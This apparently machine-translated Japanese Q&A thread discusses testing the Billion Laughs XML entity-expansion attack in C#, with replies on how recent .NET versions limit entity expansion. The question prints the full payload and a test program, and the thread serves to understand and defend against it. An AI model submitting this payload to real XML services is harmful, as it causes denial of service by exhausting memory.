2013-06-07 11 views
8

MSDN magazine pageからXMLコードをテストしようとしていますが、次のコード行は処理時に最大3GBのメモリ使用量を増加させると言います。Billion Laughs AttackはC#で動作するはずですか?

<?xml version="1.0"?> 
<!DOCTYPE lolz [ 
    <!ENTITY lol "lol"> 
    <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> 
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> 
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> 
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> 
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> 
    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> 
    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> 
    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> 
]> 
<lolz>&lol9;</lolz> 

私はそれが実際にメモリ内にもCPUの使用率の増加を示したVisual StudioでのXMLファイルにそのテキストを貼り付けてみました。しかし、XMLファイルの代わりにテキストファイルに入れようとしたときに、C#を使用してロードしたところ、影響はありませんでした。

更新:私はLoadXmlメソッドが影響を受けると考えていましたが、処理部分ではないと思います。最初の子を取得しようとしたとき(つまりC#)、MaxCharactersFromEntitiesが超過したという例外がスローされました。

アップデート:ここに私のコードも同様です:

using System; 
using System.Xml; 

namespace BillionLaughsAttack 
{ 
    class Program 
    { 
     //The file containing the billion laughs mentioned previously 
     //a txt file: Since an xml file causes visual studio to parse 
     static String xmlFileLocation = "./MyData/DeepXML.txt"; 

     static void Main(string[] args) 
     { 
      String xmlContent = null; 
      System.IO.StreamReader sr; 
      System.Xml.XmlDocument document = new XmlDocument(); 
      try 
      { 
       sr = new System.IO.StreamReader(xmlFileLocation); 
       xmlContent = sr.ReadToEnd(); 
       //Load xml containing Billion Laughs Attack (this won't do anything!) 
       document.LoadXml(xmlContent); 
       //Proces xml by getting first child (this will cause an exception!) 
       String val = document.FirstChild.Value; 
      } 
      catch (Exception e) 
      { 
       Console.WriteLine(e.Message); 
      } 
     } 
    } 
} 
+3

「C#」でどのように読み込んでいましたか?コードを表示できますか? –

+4

記事はよく書かれていて、*極端な*詳細 - 攻撃の種類、.netのさまざまなバージョンのデフォルト、およびその問題を防ぐ方法について説明しています。正直なところ、あなたの質問に対する答えが含まれていないとは思えません。 – Kobi

答えて

8

この攻撃は脆弱XML機能を活用します。

XMLパーサーで実行すると、再帰的にエンティティが展開され、大量のメモリが占​​有されます。
プレーンテキストとして読み込んでも何も行われません。

+1

Allright、私はLoadXmlメソッドもコンテンツ全体を解析すると思っていました。しかし、それは最初の子供の価値を得るようなコンテンツで何かを実際にしようとしているときにのみ解析するようです。その場合、MaxCharactersFromEntitiesが超過したことを示す例外が発生するようです。 –

+1

@ILikeGameProgramming:これは、.Netの最近のバージョンがデフォルトでこの攻撃をブロックする方法です。 – SLaks

+1

FWIW、Notepad ++のXMLツールのプラグインが "XML解析エラー13行目:エンティティ参照ループが検出されました" –

関連する問題